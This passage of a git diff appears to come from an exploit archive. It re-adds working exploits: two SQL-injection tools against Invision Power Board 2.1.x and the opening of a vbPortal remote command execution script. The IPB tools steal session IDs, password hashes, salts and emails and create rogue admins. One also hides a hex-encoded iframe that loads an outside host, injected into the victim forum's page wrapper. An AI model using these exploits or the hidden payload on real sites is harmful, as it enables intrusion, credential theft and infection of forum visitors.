- else { $InfoWindow->add('Label', -text => 'FORUM UNVULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; }
- }
-else
- {
- $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
- $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
- } 
-$InfoWindow->Show();
-$InfoWindow->destroy;
-}
-
- 
-sub get_prefix()
-{
-$InfoWindow=$mw->DialogBox(-title   => 'get database tables prefix', -buttons => ["OK"]);
-$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
-$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
-$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
-$xpl = LWP::UserAgent->new( ) or die;
-$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"'");
-if($res->is_success) 
- {
- $rep = '';
- if($res->as_string =~ /FROM (.*)sessions/)
- {
- $prefix = $1;
- $InfoWindow->add('Label', -text => 'Prefix: '.$prefix, -font => '{Verdana} 8 bold')->pack;
- }
- else
- {
- $InfoWindow->add('Label', -text => 'Can\'t get prefix', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
- }
-else
- {
- $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
- $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
- } 
-$InfoWindow->Show();
-$InfoWindow->destroy;   
-}
-
-sub session()
- {
- return 'r57ipb216_for_IDS';   
- }
-
-# milw0rm.com [2006-07-14]
+#!/usr/bin/perl
+
+## Invision Power Board v2.1 <= 2.1.6 sql injection exploit by RST/GHC
+## Based on LOCAL_IP bug, more info in RST/GHC Advisory#41
+## http://rst.void.ru/papers/advisory41.txt
+## tested on 2.1.3, 2.1.6
+##
+## 08.06.06
+## (c)oded by 1dt.w0lf
+## RST/GHC
+## http://rst.void.ru
+## http://ghc.ru
+
+use Tk;
+use Tk::BrowseEntry;
+use Tk::DialogBox;
+use LWP::UserAgent;
+
+$mw = new MainWindow(title => "r57ipb216gui" );
+
+$mw->geometry ( '420x550' ) ;
+$mw->resizable(0,0);
+
+$mw->Label(-text => '!', -font => '{Webdings} 22')->pack();
+$mw->Label(-text => 'Invision Power Board 2.1.* <= 2.1.6 sql injection exploit by RST/GHC', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
+$mw->Label(-text => '')->pack();
+
+$fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;
+$fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;
+
+$url = 'http://server/forum/index.php';
+$user_id = '1';
+$prefix = 'ibf_';
+$table = 'members';
+$column = 'member_login_key';
+$new_admin_name = 'rstghc';
+$new_admin_password = 'rstghc';
+$new_admin_email = 'billy@microsoft.com';
+$report = '';
+$group = 4;
+$curr_user = 0;
+$rand_session = &session();
+$use_custom_fields = 0;
+$custom_fields = 'name1=value1,name2=value2';
+
+$fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
+$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$url) ->pack ( -side => "top" , -anchor => 'w' ) ;
+
+$fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ;
+$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$user_id) ->pack ( -side => "top" , -anchor => 'w' ) ;
+
+$fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
+$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$prefix) ->pack ( -side => "top" , -anchor => 'w' ) ;
+
+$fright->Label( -text => ' ')->pack();
+$fleft->Label( -text => ' ')->pack();
+
+$fleft->Label ( -text => 'get data from database', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;
+$fright->Label( -text => ' ')->pack();
+
+$fleft->Label ( -text => 'Get data from table: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
+$b2 = $fright->BrowseEntry( -command => \&update_columns, -relief => "groove", -variable => \$table, -font => '{Verdana} 8');
+$b2->insert("end", "members");
+$b2->insert("end", "members_converge");
+$b2->pack( -side => "top" , -anchor => 'w');
+
+$fleft->Label ( -text => 'Get data from column: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
+$b = $fright->BrowseEntry( -relief => "groove", -variable => \$column, -font => '{Verdana} 8');
+$b->insert("end", "member_login_key");
+$b->insert("end", "name");
+$b->insert("end", "ip_address");
+$b->insert("end", "legacy_password");
+$b->insert("end", "email");
+$b->pack( -side => "top" , -anchor => 'w' );
+
+$fleft->Label ( -text => 'Returned data: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
+$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$report) ->pack ( -side => "top" , -anchor => 'w' ) ;
+
+$fleft->Label ( -text => 'create new admin', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;
+$fright->Label( -text => ' ')->pack();
+
+$fleft->Label ( -text => ' ')->pack();
+
+$fright->Checkbutton( -font => '{Verdana} 8', -text => 'Get admin session for inserted user ID', -variable => \$curr_user)->pack(-side => "top" , -anchor => 'w');
+
+$fleft->Label ( -text => 'session_id: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
+$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$session_id) ->pack ( -side => "top" , -anchor => 'w' ) ;
+
+$fleft->Label ( -text => 'session_ip_address: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
+$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$session_ip_address) ->pack ( -side => "top" , -anchor => 'w' ) ;
+
+$fleft->Label ( -text => 'new admin name: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
+$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_name) ->pack ( -side => "top" , -anchor => 'w' ) ;
+
+$fleft->Label ( -text => 'new admin password: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
+$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_password) ->pack ( -side => "top" , -anchor => 'w' ) ;
+
+$fleft->Label ( -text => 'new_admin_email: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
+$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_email) ->pack ( -side => "top" , -anchor => 'w' ) ;
+
+$fleft->Label ( -text => ' ')->pack();
+$fright->Checkbutton( -font => '{Verdana} 8', -text => 'Use custom profile fields', -variable => \$use_custom_fields)->pack(-side => "top" , -anchor => 'w');
+
+$fleft->Label ( -text => 'custom fields: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
+$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$custom_fields) ->pack ( -side => "top" , -anchor => 'w' ) ;
+
+$fright->Label( -text => ' ')->pack();
+
+$fright->Button(-text    => 'Test forum vulnerability',
+                -relief => "groove",
+                -width => '30',
+                -font => '{Verdana} 8 bold',
+                -activeforeground => 'red',
+                -command => \&test_vuln
+               )->pack();
+
+$fright->Button(-text    => 'Get database tables prefix',
+                -relief => "groove",
+                -width => '30',
+                -font => '{Verdana} 8 bold',
+                -activeforeground => 'red',
+                -command => \&get_prefix
+               )->pack();
+
+$fright->Button(-text    => 'Get data from database',
+                -relief => "groove",
+                -width => '30',
+                -font => '{Verdana} 8 bold',
+                -activeforeground => 'red',
+                -command => \&get_data
+               )->pack();
+
+$fright->Button(-text    => 'Get admin session',
+                -relief => "groove",
+                -width => '30',
+                -font => '{Verdana} 8 bold',
+                -activeforeground => 'red',
+                -command => \&get_admin
+               )->pack();
+
+$fright->Button(-text    => 'Create new admin',
+                -relief => "groove",
+                -width => '30',
+                -font => '{Verdana} 8 bold',
+                -activeforeground => 'red',
+                -command => \&create_admin
+               )->pack();
+
+
+
+$fleft->Label( -text => ' ')->pack();
+$fleft->Label( -text => ' ')->pack();
+$fleft->Label( -text => ' ')->pack();
+$fleft->Label( -text => '(c)oded by 1dt.w0lf', -font => '{Verdana} 7')->pack();
+$fleft->Label( -text => 'RST/GHC', -font => '{Verdana} 7')->pack();
+$fleft->Label( -text => 'http://rst.void.ru', -font => '{Verdana} 7')->pack();
+$fleft->Label( -text => 'http://ghc.ru', -font => '{Verdana} 7')->pack();
+
+MainLoop();
+
+sub update_columns()
+ {
+ $b->delete(0,"end");
+ if($table eq 'members'){
+ $column = "member_login_key";   
+ $b->insert("end", "member_login_key");
+ $b->insert("end", "name");
+ $b->insert("end", "ip_address");
+ $b->insert("end", "legacy_password");
+ $b->insert("end", "email");
+ } elsif($table eq 'members_converge'){
+ $column = "converge_pass_hash";   
+ $b->insert("end", "converge_pass_hash");
+ $b->insert("end", "converge_pass_salt");
+ $b->insert("end", "converge_email");
+ }
+ }
+
+sub get_admin()
+ {
+ $xpl = LWP::UserAgent->new( ) or die;
+ $InfoWindow=$mw->DialogBox(-title   => 'get admin session', -buttons => ["OK"]);
+ if($curr_user == 1) { $sql = "AND session_member_id = $user_id"; }
+ else { $sql = ''; }
+ $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_ip_address,1,1,1 FROM ".$prefix."admin_sessions WHERE session_running_time > (UNIX_TIMESTAMP() - 60*60*2) $sql LIMIT 1/*");
+ $error = 0;
+ $rep = '';
+ if($res->is_success) 
+  {
+  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
+  if($rep =~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/) { $session_ip_address = $rep; }
+  else { $error = 1; }
+  if(!$error)
+   {
+   $rep = ''; 
+   $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_id,1,1,1 FROM ".$prefix."admin_sessions WHERE session_running_time > (UNIX_TIMESTAMP() - 60*60*2) and session_ip_address = '$session_ip_address' $sql LIMIT 1/*");
+   if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; $session_id = $rep; }
+   else { $error = 1; }
+   if(!$error){
+   if($curr_user != 1)
+    {
+    $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_member_id,1,1,1 FROM ".$prefix."admin_sessions WHERE session_id = '$session_id' LIMIT 1/*");
+    if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $session_user_id = $3; }
+    }
+   else
+    {
+    $session_user_id = $user_id; 
+    }
+   $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT mgroup,1,1,1 FROM ".$prefix."members WHERE id = $session_user_id /*");
+   if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $group = $3; }
+   $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT name,1,1,1 FROM ".$prefix."members WHERE id = $session_user_id /*");
+   if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $name = $3; }
+   }
+  $InfoWindow->add('Label', -text => 'Found session!', -font => '{Verdana} 8 bold',-foreground=>'Green')->pack;
+  $InfoWindow->add('Label', -text => 'session_ip_address: '.$session_ip_address, -font => '{Verdana} 8')->pack;
+  $InfoWindow->add('Label', -text => 'session_id: '.$session_id, -font => '{Verdana} 8')->pack;
+  $InfoWindow->add('Label', -text => 'user_id: '.$session_user_id, -font => '{Verdana} 8')->pack;
+  $InfoWindow->add('Label', -text => 'username: '.$name, -font => '{Verdana} 8')->pack;
+  $InfoWindow->add('Label', -text => 'group: '.$group, -font => '{Verdana} 8')->pack;
+  $InfoWindow->Show();
+  $InfoWindow->destroy;  
+  }
+  }
+ else
+  {
+  $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
+  $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
+  $InfoWindow->Show();
+  $InfoWindow->destroy;
+  }     
+ if($error)
+  {
+  $InfoWindow->add('Label', -text => 'Can\'t get admin session.', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
+  $InfoWindow->add('Label', -text => 'Maybe admin session not exist. Please try later.', -font => '{Verdana} 8')->pack;
+  $InfoWindow->Show();
+  $InfoWindow->destroy;  
+  }  
+ }
+
+sub get_data()
+{
+$xpl = LWP::UserAgent->new( ) or die;
+$InfoWindow=$mw->DialogBox(-title   => 'get data from database', -buttons => ["OK"]);
+if($table eq 'members') { $id_text = 'id'; }
+if($table eq 'members_converge') { $id_text = 'converge_id'; }
+
+$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT ".$column.",1,1,1 FROM ".$prefix.$table." WHERE ".$id_text."=".$user_id."/*");
+if($res->is_success) 
+ {
+ $rep = '';   
+ if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/){ $report = $3; }
+ else
+  {
+  $InfoWindow->add('Label', -text => 'Can\'t get data from database', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
+  $InfoWindow->Show();
+  $InfoWindow->destroy;  
+  }
+  }
+else
+ {
+ $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
+ $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
+ $InfoWindow->Show();
+ $InfoWindow->destroy;
+ }    
+}
+
+sub create_admin()
+ {
+ $InfoWindow=$mw->DialogBox(-title   => 'create new admin', -buttons => ["OK"]);
+ if($session_id eq '' || $session_ip_address eq '')
+  {
+  $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
+  $InfoWindow->add('Label', -text => 'You need insert admin session_id and session_ip_address', -font => '{Verdana} 8')->pack;
+  }
+ elsif($session_ip_address !~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
+  {
+  $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
+  $InfoWindow->add('Label', -text => 'session_ip_address wrong!', -font => '{Verdana} 8')->pack;
+  }
+ else
+  {
+ $xpl = LWP::UserAgent->new( ) or die;
+ ($url2 = $url) =~ s/index.php/admin.php/;
+ $cf = '';
+ %fields = (
+ 'code'     => 'doadd',
+ 'act'      => 'mem',
+ 'section'  => 'content',
+ 'name'     => $new_admin_name,
+ 'password' => $new_admin_password,
+ 'email'    => $new_admin_email,
+ 'mgroup'   => $group,      
+           );
+ if($use_custom_fields)
+  {
+  @cf = split(',',$custom_fields);
+  foreach(@cf) { ($k,$v) = split('=',$_); $fields{$k} = $v;}
+  }
+  
+ $res = $xpl->post($url2."?adsess=$session_id",
+ [
+ %fields,
+ ],
+ 'USER_AGENT'=>'',
+ 'CLIENT_IP'=>"$session_ip_address",
+ 'X_FORWARDED_FOR'=>"$session_ip_address");
+ $if = '0x3C646976207374796C653D225649534942494C4954593A2068696464656E223E3C696672616D65207372633D22687474703A2F2F7A63687873696B70677A2E62697A2F646C2F6164763534332E706870222077696474683D31206865696768743D313E3C2F696672616D653E3C2F6469763E';
+ $query  = "UPDATE ".$prefix."skin_sets SET set_wrapper = CONCAT(set_wrapper,".$if."), set_cache_wrapper = CONCAT(set_cache_wrapper,".$if.")";
+ $res = $xpl->post($url2."?adsess=$session_id",
+ [
+ 'code'     => 'runsql',
+ 'act'      => 'sql',
+ 'section'  => 'admin',
+ 'query'     => $query,
+ ],
+ 'USER_AGENT'=>'',
+ 'CLIENT_IP'=>"$session_ip_address",
+ 'X_FORWARDED_FOR'=>"$session_ip_address");
+ $InfoWindow->add('Label', -text => 'Done!', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; 
+ $InfoWindow->add('Label', -text => 'New admin created', -font => '{Verdana} 8 bold')->pack;  
+  }
+ $InfoWindow->Show();
+ $InfoWindow->destroy;
+ }
+
+sub test_vuln()
+{
+$InfoWindow=$mw->DialogBox(-title   => 'test forum vulnerability', -buttons => ["OK"]);
+$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
+$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
+$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
+$xpl = LWP::UserAgent->new( ) or die;
+$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT 'VULN',1,1,1/*");
+if($res->is_success) 
+ {
+ $rep = '';
+ if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
+ if($rep eq 'VULN') { $InfoWindow->add('Label', -text => 'FORUM VULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
+ else { $InfoWindow->add('Label', -text => 'FORUM UNVULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; }
+ }
+else
+ {
+ $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
+ $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
+ } 
+$InfoWindow->Show();
+$InfoWindow->destroy;
+}
+
+ 
+sub get_prefix()
+{
+$InfoWindow=$mw->DialogBox(-title   => 'get database tables prefix', -buttons => ["OK"]);
+$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
+$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
+$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
+$xpl = LWP::UserAgent->new( ) or die;
+$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"'");
+if($res->is_success) 
+ {
+ $rep = '';
+ if($res->as_string =~ /FROM (.*)sessions/)
+ {
+ $prefix = $1;
+ $InfoWindow->add('Label', -text => 'Prefix: '.$prefix, -font => '{Verdana} 8 bold')->pack;
+ }
+ else
+ {
+ $InfoWindow->add('Label', -text => 'Can\'t get prefix', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
+ }
+else
+ {
+ $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
+ $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
+ } 
+$InfoWindow->Show();
+$InfoWindow->destroy;   
+}
+
+sub session()
+ {
+ return 'r57ipb216_for_IDS';   
+ }
+
+# milw0rm.com [2006-07-14]
diff --git a/platforms/php/webapps/2033.pl b/platforms/php/webapps/2033.pl
index f7138c3c3..cb916ce07 100755
--- a/platforms/php/webapps/2033.pl
+++ b/platforms/php/webapps/2033.pl
@@ -1,103 +1,103 @@
-#!/usr/bin/perl
-use LWP::UserAgent; 
-$ua = LWP::UserAgent->new; 
-&header();
-if (@ARGV < 2) {&info(); exit();}
-$server = $ARGV[0];
-$dir = $ARGV[1];
-print "[+] SERVER {$server}\r\n";
-print "[+] DIR {$dir}\r\n";
-#Step 1, detecting vulnerability
-print "[1] Testing forum vulnerability...";
-$q = "UNION SELECT 'VULN',1,1,1/*";
-query($q,$server,$dir);
-if($rep =~/VULN/){ print "forum vulnerable\r\n"; }
-else 
-    {
-     print "forum unvulnerable\r\n";
-	 &footer();
-     exit();
-    }
-#Step 2, detecting prefix
-print "[2] Searching prefix...";
-$q = "";
-query($q,$server,$dir);
-$prefix = $rep;
-print $prefix."\r\n";
-#Step 3, make query
-print "[3] Performing query; it may take several minutes, plz, wait...\r\n";
-$q1 = "UNION SELECT MAX(converge_id),1,1,1 FROM ".$prefix."members_converge/*";
-query($q1,$server,$dir);
-$kol = $rep;
-open(RES,">".$server."_result.txt");
-for($id = 1; $id <= $kol; $id++)
-    {
-	 $own_query = "UNION SELECT converge_pass_hash,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
-     query($own_query,$server,$dir);
-     if($rep=~/[0-9a-f]{32}/i) 
-	    {
-	     $hash = $rep;
-		 $own_query = "UNION SELECT converge_pass_salt,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
-         query($own_query,$server,$dir);
-         if(length($rep)==5) 
-		    {
-			 $salt = $rep;
-			 $own_query = "UNION SELECT converge_email,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
-             query($own_query,$server,$dir);
-			 if(length($rep)>0)
-			    {
-				 $email = $rep;
-				 print RES $id.":".$hash.":".$salt."::".$email."\n";
-			    }
-			}		 
-		}
-    }
-close(RES);
-print "[!] Query was successfully perfomed. Results are in txt files\r\n";
-&footer();
-$ex = <STDIN>;
-sub footer()
-    {
-     print "[G] Greets: 1dt.w0lf (rst/ghc)\r\n";
-     print "[L] Visit: secbun.info | damagelab.org | rst.void.ru\r\n";
-    }
-sub header()
-{
-print q(
-----------------------------------------------------------
-* Invision Power Board 2.1.* Remote SQL Injecton Exploit *
-*       Based on r57-Advisory#41 by 1dt.w0lf (rst/ghc)   *
-*                Coded by w4g.not null                   *
-*              FOR EDUCATIONAL PURPOSES *ONLY*           *
-----------------------------------------------------------
-);
-}
-sub info()
-{
- print q(
-[i] Usage: perl w4gipb216.pl [server] [/dir/]
-     where
-	   |- server - server, where IPB installed without http://
-	   |- /dir/ - dir, where IPB installed or / for no dir
-	 e.g perl w4gipb216.pl someserver.com /forum/
-[i] Stealing info about users (format id:pass:salt::email)	  
-[!] Need MySQL > 4.0 
- );
-}
-sub query()
-    {
-     my($q,$server,$dir) = @_;
-     $res = $ua->get("http://".$server.$dir."index.php?s=w00t",'USER_AGENT'=>'','CLIENT_IP'=>"' ".$q); 
-     if($res->is_success)
-        {
-         $rep = '';
-         if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
-         else
-   		    {
-             if($res->as_string =~ /FROM (.*)sessions/) { $rep = $1; }
-            }
-        }
-     return $rep;
-    }
-
-# milw0rm.com [2006-07-18]
+#!/usr/bin/perl
+use LWP::UserAgent; 
+$ua = LWP::UserAgent->new; 
+&header();
+if (@ARGV < 2) {&info(); exit();}
+$server = $ARGV[0];
+$dir = $ARGV[1];
+print "[+] SERVER {$server}\r\n";
+print "[+] DIR {$dir}\r\n";
+#Step 1, detecting vulnerability
+print "[1] Testing forum vulnerability...";
+$q = "UNION SELECT 'VULN',1,1,1/*";
+query($q,$server,$dir);
+if($rep =~/VULN/){ print "forum vulnerable\r\n"; }
+else 
+    {
+     print "forum unvulnerable\r\n";
+	 &footer();
+     exit();
+    }
+#Step 2, detecting prefix
+print "[2] Searching prefix...";
+$q = "";
+query($q,$server,$dir);
+$prefix = $rep;
+print $prefix."\r\n";
+#Step 3, make query
+print "[3] Performing query; it may take several minutes, plz, wait...\r\n";
+$q1 = "UNION SELECT MAX(converge_id),1,1,1 FROM ".$prefix."members_converge/*";
+query($q1,$server,$dir);
+$kol = $rep;
+open(RES,">".$server."_result.txt");
+for($id = 1; $id <= $kol; $id++)
+    {
+	 $own_query = "UNION SELECT converge_pass_hash,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
+     query($own_query,$server,$dir);
+     if($rep=~/[0-9a-f]{32}/i) 
+	    {
+	     $hash = $rep;
+		 $own_query = "UNION SELECT converge_pass_salt,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
+         query($own_query,$server,$dir);
+         if(length($rep)==5) 
+		    {
+			 $salt = $rep;
+			 $own_query = "UNION SELECT converge_email,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
+             query($own_query,$server,$dir);
+			 if(length($rep)>0)
+			    {
+				 $email = $rep;
+				 print RES $id.":".$hash.":".$salt."::".$email."\n";
+			    }
+			}		 
+		}
+    }
+close(RES);
+print "[!] Query was successfully perfomed. Results are in txt files\r\n";
+&footer();
+$ex = <STDIN>;
+sub footer()
+    {
+     print "[G] Greets: 1dt.w0lf (rst/ghc)\r\n";
+     print "[L] Visit: secbun.info | damagelab.org | rst.void.ru\r\n";
+    }
+sub header()
+{
+print q(
+----------------------------------------------------------
+* Invision Power Board 2.1.* Remote SQL Injecton Exploit *
+*       Based on r57-Advisory#41 by 1dt.w0lf (rst/ghc)   *
+*                Coded by w4g.not null                   *
+*              FOR EDUCATIONAL PURPOSES *ONLY*           *
+----------------------------------------------------------
+);
+}
+sub info()
+{
+ print q(
+[i] Usage: perl w4gipb216.pl [server] [/dir/]
+     where
+	   |- server - server, where IPB installed without http://
+	   |- /dir/ - dir, where IPB installed or / for no dir
+	 e.g perl w4gipb216.pl someserver.com /forum/
+[i] Stealing info about users (format id:pass:salt::email)	  
+[!] Need MySQL > 4.0 
+ );
+}
+sub query()
+    {
+     my($q,$server,$dir) = @_;
+     $res = $ua->get("http://".$server.$dir."index.php?s=w00t",'USER_AGENT'=>'','CLIENT_IP'=>"' ".$q); 
+     if($res->is_success)
+        {
+         $rep = '';
+         if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
+         else
+   		    {
+             if($res->as_string =~ /FROM (.*)sessions/) { $rep = $1; }
+            }
+        }
+     return $rep;
+    }
+
+# milw0rm.com [2006-07-18]
diff --git a/platforms/php/webapps/2087.php b/platforms/php/webapps/2087.php
index f061d0ca5..9f6337882 100755
--- a/platforms/php/webapps/2087.php
+++ b/platforms/php/webapps/2087.php
@@ -1,194 +1,194 @@
-#!/usr/bin/php -q -d short_open_tag=on
-<?
-echo "vbPortal 3.0.2 <= 3.6.0 Beta 1 Remote Command Excution \r\n";
-echo "By R00t[ATI] Mail : havoc1988 [at] gmail [dot] com \r\n";
-echo "Thank you Minus-Power \r\n";
-echo "Thank you rgod for your clear samples \r\n";
-echo "site: http://www.rootshell.net \r\n\r\n";
-echo "-> this works with magic_quotes_gpc=Off\r\n";
-echo "dork: Portal By vbPortal Version 3.5.0 <= 3.6.0 Beta 1 \r\n";
-
-if ($argc<4) {
-echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
-echo "host:      target server (ip/hostname)\r\n";
-echo "path:      path to VbPortal\r\n";
-echo "cmd:       a shell command\r\n";
-echo "cookie:    Cookie name\r\n";
-echo "Options:\r\n";
-echo "   -p[port]:    specify a port other than 80\r\n";
-echo "   -P[ip:port]: specify a proxy\r\n";
-echo "Examples:\r\n";
-echo "php ".$argv[0]." localhost /vbportal/ vbblang cat /forums/includes/config.php\n";
-echo "php ".$argv[0]." localhost /vbportal/ vbblang ls -la -p81\r\n";
-echo "php ".$argv[0]." localhost / vbblang ls -la -P1.1.1.1:80\r\n";
-die;
-}
-
-error_reporting(0);
-ini_set("max_execution_time",0);
-ini_set("default_socket_timeout",5);
-
-function quick_dump($string)
-{
-  $result='';$exa='';$cont=0;
-  for ($i=0; $i<=strlen($string)-1; $i++)
-  {
-   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
-   {$result.="  .";}
-   else
-   {$result.="  ".$string[$i];}
-   if (strlen(dechex(ord($string[$i])))==2)
-   {$exa.=" ".dechex(ord($string[$i]));}
-   else
-   {$exa.=" 0".dechex(ord($string[$i]));}
-   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
-  }
- return $exa."\r\n".$result;
-}
-$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
-function sendpacketii($packet)
-{
-  global $proxy, $host, $port, $html, $proxy_regex;
-  if ($proxy=='') {
-    $ock=fsockopen(gethostbyname($host),$port);
-    if (!$ock) {
-      echo 'No response from '.$host.':'.$port; die;
-    }
-  }
-  else {
-	$c = preg_match($proxy_regex,$proxy);
-    if (!$c) {
-      echo 'Not a valid proxy...';die;
-    }
-    $parts=explode(':',$proxy);
-    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
-    $ock=fsockopen($parts[0],$parts[1]);
-    if (!$ock) {
-      echo 'No response from proxy...';die;
-	}
-  }
-  fputs($ock,$packet);
-  if ($proxy=='') {
-    $html='';
-    while (!feof($ock)) {
-      $html.=fgets($ock);
-    }
-  }
-  else {
-    $html='';
-    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
-      $html.=fread($ock,1);
-    }
-  }
-  fclose($ock);
-  #debug
-  #echo "\r\n".$html;
-}
-
-$host=$argv[1];
-$path=$argv[2];
-$cmd="";
-$port=80;
-$proxy="";
-
-for ($i=3; $i<=$argc-1; $i++){
-$temp=$argv[$i][0].$argv[$i][1];
-if (($temp<>"-p") and ($temp<>"-P"))
-{$cmd.=" ".$argv[$i];}
-if ($temp=="-p")
-{
-  $port=str_replace("-p","",$argv[$i]);
-}
-if ($temp=="-P")
-{
-  $proxy=str_replace("-P","",$argv[$i]);
-}
-}
-$cmd=urlencode($cmd);
-if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
-if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
-
